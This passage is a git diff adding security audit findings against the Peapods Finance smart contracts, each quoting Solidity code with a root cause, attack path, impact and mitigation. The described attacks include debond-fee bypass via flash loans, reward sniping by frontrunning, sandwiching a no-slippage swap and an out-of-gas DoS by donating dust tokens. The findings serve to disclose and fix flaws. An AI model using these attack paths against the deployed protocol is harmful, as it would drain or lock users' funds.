+One example is the setting pairedLpTKN to be pMODE, this is currently available on Mode chain (see on https://peapods.finance/app). pMODE currently has a fair price of 0.0126. Now if the pTKN was also very cheap (e.g. pPEPE, which is priced at $0.00001, and also existing on Peapods mainnet right now), the pTKN/pairedLpTKN LP would be cheap. Note that reward token can also be pairedLpTKN (e.g. if `LEAVE_AS_PAIRED_LP_TOKEN=true` was set in TokenRewards.sol). So to acheive overflow for pTKN=pPEPE and pairedLpTKN=rewardToken=pMode, only around `0.012*1e7*2 ~ 2e5` is required, which is reasonable.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L20
+
+```solidity
+ uint256 constant PRECISION = 10 ** 27;
+
+ function _depositRewards(address _token, uint256 _amountTotal) internal {
+ ...
+ rewardsDeposited[_token] += _depositAmount;
+@> _rewardsPerShare[_token] += (PRECISION * _depositAmount) / totalShares;
+ emit DepositRewards(_msgSender(), _token, _depositAmount);
+ }
+
+ function _addShares(address _wallet, uint256 _amount) internal {
+ if (shares[_wallet] > 0) {
+ _distributeReward(_wallet);
+ }
+ uint256 sharesBefore = shares[_wallet];
+ totalShares += _amount;
+ shares[_wallet] += _amount;
+ if (sharesBefore == 0 && shares[_wallet] > 0) {
+ totalStakers++;
+ }
+@> _resetExcluded(_wallet);
+ }
+
+ function _removeShares(address _wallet, uint256 _amount) internal {
+ require(shares[_wallet] > 0 && _amount <= shares[_wallet], "RE");
+ _distributeReward(_wallet);
+ totalShares -= _amount;
+ shares[_wallet] -= _amount;
+ if (shares[_wallet] == 0) {
+ totalStakers--;
+ }
+@> _resetExcluded(_wallet);
+ }
+
+ function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+ }
+
+ function _cumulativeRewards(address _token, uint256 _share, bool _roundUp) internal view returns (uint256 _r) {
+@> _r = (_share * _rewardsPerShare[_token]) / PRECISION;
+ if (_roundUp && (_share * _rewardsPerShare[_token]) % PRECISION > 0) {
+ _r = _r + 1;
+ }
+ }
+```
+
+### Internal pre-conditions
+
+- Reward token and LP token are cheap (so the overflow scenario is acheivable)
+- totalShares is small (e.g. 1 wei).
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+Deposit rewards when `totalShares` is very small and inflate `_rewardsPerShare[]`. This would then eventually cause an overflow if a user interacts with TokenRewards.sol, e.g. when transferring spTKN or staking/unstaking them.
+
+### Impact
+
+The overflow would prevent the user from unstaking his spTKN, locking up his funds.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Use a smaller PRECISION. 1e18 is more than enough.
\ No newline at end of file
diff --git a/458.md b/458.md
new file mode 100644
index 0000000..586870e
--- /dev/null
+++ b/458.md
@@ -0,0 +1,91 @@
+Keen Jetblack Deer
+
+Medium
+
+# USDC blacklist prevents TokenRewards.sol distribution and spTKN transfer
+
+
+### Summary
+
+USDC blacklist prevents TokenRewards.sol distribution and spTKN transfer
+
+### Root Cause
+
+If user was blacklisted from USDC, and USDC was among one of the reward tokens, the reward distribution logic would fail. This also prevents user from transferring spTKN.
+
+This is the same issue as [Guardian audit report](https://sherlock-files.ams3.digitaloceanspaces.com/additional_resources/peapods_lvf_Guardian_report.pdf) M-22. However, the issue is marked as "Resolved" when it is actually not.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L20
+
+```solidity
+ function _addShares(address _wallet, uint256 _amount) internal {
+ if (shares[_wallet] > 0) {
+@> _distributeReward(_wallet);
+ }
+ uint256 sharesBefore = shares[_wallet];
+ totalShares += _amount;
+ shares[_wallet] += _amount;
+ if (sharesBefore == 0 && shares[_wallet] > 0) {
+ totalStakers++;
+ }
+ _resetExcluded(_wallet);
+ }
+
+ function _removeShares(address _wallet, uint256 _amount) internal {
+ require(shares[_wallet] > 0 && _amount <= shares[_wallet], "RE");
+@> _distributeReward(_wallet);
+ totalShares -= _amount;
+ shares[_wallet] -= _amount;
+ if (shares[_wallet] == 0) {
+ totalStakers--;
+ }
+ _resetExcluded(_wallet);
+ }
+
+ function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+@> IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+ }
+```
+
+### Internal pre-conditions
+
+- USDC is one of the reward tokens.
+
+### External pre-conditions
+
+- User is blocklisted from USDC.
+
+### Attack Path
+
+N/A
+
+### Impact
+
+1. User can't transfer/stake/unstake spTKN
+2. User can't claim other rewards.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add a try-catch.
\ No newline at end of file
diff --git a/459.md b/459.md
new file mode 100644
index 0000000..faddabc
--- /dev/null
+++ b/459.md
@@ -0,0 +1,89 @@
+Keen Jetblack Deer
+
+Medium
+
+# WeightIndex for blacklist pools may fail to create due to out-of-gas error.
+
+
+### Summary
+
+WeightIndex for blacklist pools may fail to create due to out-of-gas error.
+
+### Root Cause
+
+When creating a pod with `WeightedIndexFactory`, there is an `ASYNC_INITIALIZE` feature for each DexHandler. If this flag is enabled, the pTKN/pairedLpTKN Uniswap V2 pool would be not created along initialization, but added asynchronously.
+
+After consulting with sponsors, this is because for some DEXes (Camelot, Aerodrome), creating a pool consumes too much gas, and the entire initialization transaction would run out-of-gas.
+
+However, if `config.blacklistTKNpTKNPoolV2` flag is set to true, pTKN/underlyingTKN Uniswap V2 pools would be created anyways, which would run into the sam out-of-gas problem. This basically means the `blacklistTKNpTKNPoolV2` feature can't be enabled for the gas-consuming DEXes.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndexFactory.sol#L104-L106
+
+```solidity
+ if (!IDecentralizedIndex(payable(weightedIndex)).DEX_HANDLER().ASYNC_INITIALIZE()) {
+ IDecentralizedIndex(payable(weightedIndex)).setup();
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L136-L147
+
+```solidity
+ function setup() external override {
+ require(!_isSetup, "O");
+ _isSetup = true;
+ address _v2Pool = DEX_HANDLER.getV2Pool(address(this), PAIRED_LP_TOKEN);
+ if (_v2Pool == address(0)) {
+ _v2Pool = DEX_HANDLER.createV2Pool(address(this), PAIRED_LP_TOKEN);
+ }
+ IStakingPoolToken(lpStakingPool).setStakingToken(_v2Pool);
+ Ownable(lpStakingPool).renounceOwnership();
+ V2_POOL = _v2Pool;
+ emit Initialize(_msgSender(), _v2Pool);
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L73-L79
+
+```solidity
+ function __WeightedIndex_init(
+ Config memory _config,
+ address[] memory _tokens,
+ uint256[] memory _weights,
+ bytes memory _immutables
+ ) internal {
+ ...
+ if (_config.blacklistTKNpTKNPoolV2 && _tokens[_i] != _pairedLpToken) {
+ address _blkPool = IDexAdapter(_dexAdapter).getV2Pool(address(this), _tokens[_i]);
+ if (_blkPool == address(0)) {
+@> _blkPool = IDexAdapter(_dexAdapter).createV2Pool(address(this), _tokens[_i]);
+ }
+ _blacklist[_blkPool] = true;
+ }
+ }
+ ...
+ }
+```
+
+### Internal pre-conditions
+
+- `config.blacklistTKNpTKNPoolV2=true` when creating a pod.
+
+### External pre-conditions
+
+- Out-of-gas when creating UniV2 pools during pod initialization.
+
+### Attack Path
+
+N/A
+
+### Impact
+
+`blacklistTKNpTKNPoolV2` feature can't be enabled for the gas-consuming DEXes.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Also asyncly setup the blacklist pools when `DEX_HANDLER.ASYNC_INITIALIZE()` is true.
diff --git a/460.md b/460.md
new file mode 100644
index 0000000..68640db
--- /dev/null
+++ b/460.md
@@ -0,0 +1,61 @@
+Keen Jetblack Deer
+
+Medium
+
+# User can bypass pTKN debondFees.
+
+
+### Summary
+
+User can bypass pTKN debondFees.
+
+### Root Cause
+
+The debond fee logic check if the amount of debond shares is larger than 99% of the total supply, and don't take any debond fees if it is larger.
+
+A vector to bypass debond fee is to bond a bunch of underlyingTKN to inflate his pTKN shares to >=99% of total supply, and debond them all at once. This way the debond fee can be avoided.
+
+For example, if bondFee=0%, debondFee=10%, totalSupply=100, userShares=10. User can bond 10000 shares, so he takes up 10010/10100=99.1% >= 99%, and debond them all at once to bypass debondFees.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L175
+
+```solidity
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+@> uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+ ...
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L281
+
+```solidity
+ function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
+@> return _debondAmount >= (_totalSupply * 99) / 100;
+ }
+```
+
+### Internal pre-conditions
+
+- User would need have access to a lot of underlyingTKNs. He can even try to flashloan them flashloaning is cheaper.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+User bonds a bunch of shares until he reaches 99% of totalSupply and can debond for free.
+
+### Impact
+
+User bypasses debond shares.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Not sure how to fix this without changing the design. Maybe consider always taking debond fees.
\ No newline at end of file
diff --git a/461.md b/461.md
new file mode 100644
index 0000000..57df29f
--- /dev/null
+++ b/461.md
@@ -0,0 +1,37 @@
+Genuine Carrot Goat
+
+Medium
+
+# Being forced to trade via Uni V2 in `_pairedLpTokenToPodLp()` can result in loss of funds under certain conditions
+
+### Summary
+
+During autocompounding of LP tokens, we should trade the paired lp for pod from the Uni pool which has the most depth, etc. the highest liquidity, but in `_pairedLpTokenToPodLp()` as can be seen, we do that just from Uni v2 statically, which may be against our interest.
+
+### Root Cause
+
+The root cause is statically just trading into Uni v2 instead of checking its reserves against Uni v3 and deciding which of the two pools has the highest liquidity, so that the lowest price movement will occur when swapping paired vs pod token
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+Having a Uni v3 counterpart of the pool with higher liquidity
+
+### Attack Path
+
+1. LP Tokens are being autocompounded via `deposit()`/`mint()` and `_processRewardsToPodLp()` is called. Inside of it, several nested functions leads us to `_pairedLpTokenToPodLp()` which makes the swap exclusively only from a Uni v2 pool. If the Uni v3 has bigger depth, this means that we use the pool with lower liquidity, thus incurring losses from the protocol as we can't switch to the Uni v3 pool.
+
+### Impact
+
+Loss of funds under certain conditions - medium
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Check the reserves of both pools or preview the returned amount so that we get the best value for our swap.
\ No newline at end of file
diff --git a/462.md b/462.md
new file mode 100644
index 0000000..44d042e
--- /dev/null
+++ b/462.md
@@ -0,0 +1,82 @@
+Keen Jetblack Deer
+
+Medium
+
+# Pod's fee swap constraint allows users to snipe fees.
+
+
+### Summary
+
+Pod's fee swap constraint allows users to snipe fees.
+
+### Root Cause
+
+In `_processPreSwapFeesAndSwap`, the pTKN fees are swapped to rewardTKNs to reward the spTKN holders. To reduce gas fee and swapping too frequent, there are two constraints:
+
+1. Swap can only be performed at most once every 20 seconds.
+2. Swap can only be performed if pTKN fees accumulate to over 0.1% of the pTKN/pairedLpTKN Uniswap V2 Pool.
+
+The second constraint will some time to acheive. During the pTKN fee accumulation phase, it doesn't matter if the spTKN holder minted the spTKN at the first second or last, he will gain the same amount of fee interest.
+
+This opens up space for fee sniping. An attacker can mint spTKNs just before the pTKN fees accumulates enough for a fee swap.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L185
+
+```solidity
+
+ uint8 constant SWAP_DELAY = 20; // seconds
+
+ /// @notice The ```_processPreSwapFeesAndSwap``` function processes fees that could be pending for a pod
+ function _processPreSwapFeesAndSwap() internal {
+ if (_shortCircuitRewards == 1) {
+ return;
+ }
+ bool _passesSwapDelay = block.timestamp > _lastSwap + SWAP_DELAY;
+ if (!_passesSwapDelay) {
+ return;
+ }
+ uint256 _bal = balanceOf(address(this));
+ if (_bal == 0) {
+ return;
+ }
+ uint256 _lpBal = balanceOf(V2_POOL);
+@> uint256 _min = block.chainid == 1 ? _lpBal / 1000 : _lpBal / 4000; // 0.1%/0.025% LP bal
+ uint256 _max = _lpBal / 100; // 1%
+@> if (_bal >= _min && _lpBal > 0) {
+ _swapping = 1;
+ _lastSwap = uint64(block.timestamp);
+ uint256 _totalAmt = _bal > _max ? _max : _bal;
+ uint256 _partnerAmt;
+ if (_fees.partner > 0 && _config.partner != address(0) && !_blacklist[_config.partner]) {
+ _partnerAmt = (_totalAmt * _fees.partner) / DEN;
+ super._update(address(this), _config.partner, _partnerAmt);
+ }
+ _feeSwap(_totalAmt - _partnerAmt);
+ _swapping = 0;
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+Attacker can frontrun pTKN fee swap to snipe rewards.
+
+### Impact
+
+Attacker can gain fee rewards even though he only holds spTKN for a very short period of time. Attacker can monitor the chain and just before the fee swap happens, he frontruns to mint the spTKN and snipe rewards.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix is not trivial. Consider removing the balance constraint or add a cooldown period between staking/unstaking spTKN.
\ No newline at end of file
diff --git a/463.md b/463.md
new file mode 100644
index 0000000..5623030
--- /dev/null
+++ b/463.md
@@ -0,0 +1,97 @@
+Keen Jetblack Deer
+
+Medium
+
+# No slippage for pod pTKN -> pairedLpTKN fee swap.
+
+
+### Summary
+
+No slippage for pod pTKN -> pairedLpTKN fee swap, allowing attackers to sandwich the transaction.
+
+### Root Cause
+
+In `_processPreSwapFeesAndSwap`, the pTKN fees are swapped to pairedLpTKN to reward the pTKN holders. To avoid swapping too frequent, there is a constraint that the swap can only be performed if pTKN fees accumulate to over 0.1% of the pTKN/pairedLpTKN Uniswap V2 Pool.
+
+Though most of the swaps in Peapods codebase don't require slippage, because this specific swap would always swap a non-trivial amount (0.1% of the pool), this may give attacker enough incentive to sandwich.
+
+As long as the sandwich profit can cover attacker's buyFee/sellFee, it will be beneficial.
+
+Also, it is worth noticing that since the legacy code didn't set slippage (not for the pTKN -> pairedLpTKN swap, but for the swap afterwards, pairedLpTKN -> rewardTKN), it caused a frontrun on the live contract just recently. Details can be found [here](https://x.com/Phalcon_xyz/status/1888163987696865499).
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L185
+
+```solidity
+
+ /// @notice The ```_processPreSwapFeesAndSwap``` function processes fees that could be pending for a pod
+ function _processPreSwapFeesAndSwap() internal {
+ if (_shortCircuitRewards == 1) {
+ return;
+ }
+ bool _passesSwapDelay = block.timestamp > _lastSwap + SWAP_DELAY;
+ if (!_passesSwapDelay) {
+ return;
+ }
+ uint256 _bal = balanceOf(address(this));
+ if (_bal == 0) {
+ return;
+ }
+ uint256 _lpBal = balanceOf(V2_POOL);
+@> uint256 _min = block.chainid == 1 ? _lpBal / 1000 : _lpBal / 4000; // 0.1%/0.025% LP bal
+ uint256 _max = _lpBal / 100; // 1%
+@> if (_bal >= _min && _lpBal > 0) {
+ _swapping = 1;
+ _lastSwap = uint64(block.timestamp);
+ uint256 _totalAmt = _bal > _max ? _max : _bal;
+ uint256 _partnerAmt;
+ if (_fees.partner > 0 && _config.partner != address(0) && !_blacklist[_config.partner]) {
+ _partnerAmt = (_totalAmt * _fees.partner) / DEN;
+ super._update(address(this), _config.partner, _partnerAmt);
+ }
+ _feeSwap(_totalAmt - _partnerAmt);
+ _swapping = 0;
+ }
+ }
+
+ function _feeSwap(uint256 _amount) internal {
+ _approve(address(this), address(DEX_HANDLER), _amount);
+ address _rewards = IStakingPoolToken(lpStakingPool).POOL_REWARDS();
+ uint256 _pairedLpBalBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards);
+
+ // @audit-bug: No slippage.
+@> DEX_HANDLER.swapV2Single(address(this), PAIRED_LP_TOKEN, _amount, 0, _rewards);
+
+ if (PAIRED_LP_TOKEN == lpRewardsToken) {
+ uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
+ if (_newPairedLpTkns > 0) {
+ ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
+ }
+ } else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+- Attack sandwiches the pTKN fee -> pairedLpTKN swap.
+
+### Attack Path
+
+Attacker can sandwich the pTKN -> pairedLpTKN swap since no slippage is provided.
+
+### Impact
+
+pTKN holders receives less amount of fees than expected.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix is not trivial. Considering maintaining a TWAP oracle for the pool, and only swap if the price does not deviate too much.
diff --git a/464.md b/464.md
new file mode 100644
index 0000000..7da0643
--- /dev/null
+++ b/464.md
@@ -0,0 +1,146 @@
+Keen Jetblack Deer
+
+Medium
+
+# pairedLpTKN as pTKN with non-zero transferTax is not supported in in multiple contracts.
+
+
+### Summary
+
+pairedLpTKN as pTKN with non-zero transferTax is not supported in multiple contracts: 1) DecentralizedIndex.sol, 2) FraxlendPair.sol, 3) LeverageManager.sol
+
+### Root Cause
+
+First we should know that setting pTKN as pairedLpTKN is a valid use case. We can find on https://peapods.finance/app that pPEAS sets pOHM as it's pairedLpTKN.
+
+pTKN may have transfer tax enabled, which makes it a fee-on-transfer token. Though fee-on-transfer tokens aren't supported for underlying tokens for pods, the pod itself (pTKN) should always be handled for fee-on-transfer cases, since this is by design.
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ ...
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ ...
+@> } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ ...
+ }
+```
+
+There are multiple areas that does not correctly handle pairedLpTKN as a fee-on-transfer token.
+
+1. DecentralizedIndex.sol
+
+In the `addLiquidityV2()` function, the same amount `_pairedLPTokens` is transferred from user to DecentralizedIndex.sol contract, and from DecentralizedIndex.sol contract to DEX_HANDLER, then to UniswapRouter. The bug here is simple, for a fee-on-transfer pTKN as pairedLpTKN, this would always fail.
+
+Now, as for why `DecentralizedIndex.sol#addLiquidityV2` must be used to add liquidity. This is because this is the only function that disables swap fees when adding liquidity (only disables the fee for main pTKN, not for the pairedLpTKN that is also pTKN). This function is also used by LVF feature in AutoCompoundingPodLp where reward token is used to convert to LP tokens and spTKN.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L332
+
+```solidity
+ function addLiquidityV2(
+ uint256 _pTKNLPTokens,
+ uint256 _pairedLPTokens,
+ uint256 _slippage, // 100 == 10%, 1000 == 100%
+ uint256 _deadline
+ ) external override lock noSwapOrFee returns (uint256) {
+ uint256 _idxTokensBefore = balanceOf(address(this));
+ uint256 _pairedBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this));
+
+ super._update(_msgSender(), address(this), _pTKNLPTokens);
+ _approve(address(this), address(DEX_HANDLER), _pTKNLPTokens);
+
+@> IERC20(PAIRED_LP_TOKEN).safeTransferFrom(_msgSender(), address(this), _pairedLPTokens);
+@> IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_HANDLER), _pairedLPTokens);
+
+ uint256 _poolBalBefore = IERC20(DEX_HANDLER.getV2Pool(address(this), PAIRED_LP_TOKEN)).balanceOf(_msgSender());
+ DEX_HANDLER.addLiquidity(
+ address(this),
+ PAIRED_LP_TOKEN,
+ _pTKNLPTokens,
+@> _pairedLPTokens,
+ (_pTKNLPTokens * (1000 - _slippage)) / 1000,
+ (_pairedLPTokens * (1000 - _slippage)) / 1000,
+ _msgSender(),
+ _deadline
+ );
+ IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(address(DEX_HANDLER), 0);
+
+ // check & refund excess tokens from LPing
+ if (balanceOf(address(this)) > _idxTokensBefore) {
+ super._update(address(this), _msgSender(), balanceOf(address(this)) - _idxTokensBefore);
+ }
+ if (IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) > _pairedBefore) {
+ IERC20(PAIRED_LP_TOKEN).safeTransfer(
+ _msgSender(), IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) - _pairedBefore
+ );
+ }
+ emit AddLiquidity(_msgSender(), _pTKNLPTokens, _pairedLPTokens);
+ return IERC20(DEX_HANDLER.getV2Pool(address(this), PAIRED_LP_TOKEN)).balanceOf(_msgSender()) - _poolBalBefore;
+ }
+```
+
+2. LeverageManager.sol
+
+If pairedLpTKN is a pTKN (e.g. pOHM), it will be flashloaned whenever increasing or decreasing leverage. However, in flashloans, it always expect the exact amount of tokens to be transferred, which is not the case for fee-on-transfer tokens.
+
+3. FraxlendPair.sol
+
+In LVF feature, if pairedLpTKN is a pTKN (e.g. pOHM), it would have it's own lending market. However, FraxlendPair does not support fee-on-transfer for basic deposit/withdraws.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L578
+
+```solidity
+ function _deposit(
+ VaultAccount memory _totalAsset,
+ uint128 _amount,
+ uint128 _shares,
+ address _receiver,
+ bool _shouldTransfer
+ ) internal {
+ // Effects: bookkeeping
+@> _totalAsset.amount += _amount;
+ _totalAsset.shares += _shares;
+
+ // Effects: write back to storage
+ _mint(_receiver, _shares);
+ totalAsset = _totalAsset;
+
+ // Interactions
+ if (_shouldTransfer) {
+@> assetContract.safeTransferFrom(msg.sender, address(this), _amount);
+ ..
+ }
+ ...
+ }
+```
+
+### Internal pre-conditions
+
+Pod uses a fee-on-transfer pTKN as pairedLpTKN.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+1. Liquidity cannot be added by `addLiquidity()`, and the LVF feature would break as well because AutoCompoundingPodLp will fail.
+2. LeverageManager and Fraxlend won't work correctly.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+1. Support FoT for the above places.
+2. Consider disabling transfer tax.
diff --git a/465.md b/465.md
new file mode 100644
index 0000000..8762059
--- /dev/null
+++ b/465.md
@@ -0,0 +1,103 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLp should only process whitelisted rewards, or may lead to out-of-gas when autocompounding rewards.
+
+
+### Summary
+
+AutoCompoundingPodLp should only process whitelisted rewards, or may lead to out-of-gas when autocompounding rewards.
+
+### Root Cause
+
+When autocompounding rewards in AutoCompoundingPodLp.sol, it checks all the tokens return by `getAllRewardsTokens()`. However, this function returns all tokens inside `_allRewardsTokens`, which may include the tokens that aren't whitelisted.
+
+For example, token A gets whitelisted, and is deposited as rewards. Then it is removed from the whitelist. It will still remain in `_allRewardsTokens`.
+
+Then it will still be processed during autocompounding if there is non-zero balance. Anyone can donate 1 wei of this token and trigger the autocompounding logic (the `_tokenToPodLp()` function), which is not expected.
+
+If a lot of tokens like this existed, it would easily lead to a out-of-gas DoS.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+
+ // @audit-bug: Anyone can trigger this by donating 1 wei.
+@> uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+@> uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut;
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L206
+
+```solidity
+ function _isValidRewardsToken(address _token) internal view returns (bool) {
+ return _token == rewardsToken || REWARDS_WHITELISTER.whitelist(_token);
+ }
+
+ function depositRewards(address _token, uint256 _amount) external override {
+ _depositRewardsFromToken(_msgSender(), _token, _amount, true);
+ }
+
+ function _depositRewardsFromToken(address _user, address _token, uint256 _amount, bool _shouldTransfer) internal {
+ require(_amount > 0, "A");
+@> require(_isValidRewardsToken(_token), "V");
+ ...
+ _depositRewards(_token, _finalAmt);
+ }
+
+ function _depositRewards(address _token, uint256 _amountTotal) internal {
+ if (_amountTotal == 0) {
+ return;
+ }
+ if (!_depositedRewardsToken[_token]) {
+ _depositedRewardsToken[_token] = true;
+@> _allRewardsTokens.push(_token);
+ }
+ ...
+ }
+ function getAllRewardsTokens() external view override returns (address[] memory) {
+ return _allRewardsTokens;
+ }
+```
+
+### Internal pre-conditions
+
+- Admin unwhitelist multiple whitelist tokens, which will still exist in `_allRewardsTokens` array of TokenRewards.sol.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+Attacker can donate 1 wei of these legacy reward tokens and trigger an out-of-gas DoS for the autocompounding process.
+
+### Impact
+
+Autocompounding fails, which blocks user's deposit/withdraw in AutoCompoundingPodLP, effectively locking up funds.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Also check if the token is still in reward whitelist before autocompounding it.
diff --git a/466.md b/466.md
new file mode 100644
index 0000000..d7f12ad
--- /dev/null
+++ b/466.md
@@ -0,0 +1,163 @@
+Keen Jetblack Deer
+
+Medium
+
+# AutoCompoundingPodLp may not always process pairedLpTKN, leading to stuck rewards.
+
+
+### Summary
+
+AutoCompoundingPodLp may not always process pairedLpTKN, leading to stuck rewards.
+
+### Root Cause
+
+When autocompounding rewards in AutoCompoundingPodLp.sol, it checks all the tokens return by `getAllRewardsTokens()`. However, this function may not contain pairedLpTKN for the pod.
+
+In TokenRewards, if `LEAVE_AS_PAIRED_LP_TOKEN` was set to false, then pairedLpTKN would not be a valid reward token, so it would not be in the token array returned by `getAllRewardsTokens()`.
+
+It is important to always process pairedLpTKN (go thorugh the `_tokenToPodLp()` function), and by looking at the autocompounding process, this is why:
+
+The autocompounding process is: 1) swap rewardTKN -> pairedLpTKN, 2) swap a portion (roughly half) of pairedLpTKN -> pTKN, 3) add pairedLpTKN, pTKN to UniV2 LP, 4) stake LP token to spTKN.
+
+Now, if step 2 or step 3 failed due to slippage, pairedLpTKN would be leftover in the contract. This should be processed in the next autocompounding phase starting from rewardTKN=pairedLpTKN again. However, if we skip rewardTKN=pairdLpTKN, these pairdLpTKN would be forever stuck in the contract, leading to loss of rewards.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+
+ // @audit-bug: Anyone can trigger this by donating 1 wei.
+@> uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+@> uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut;
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
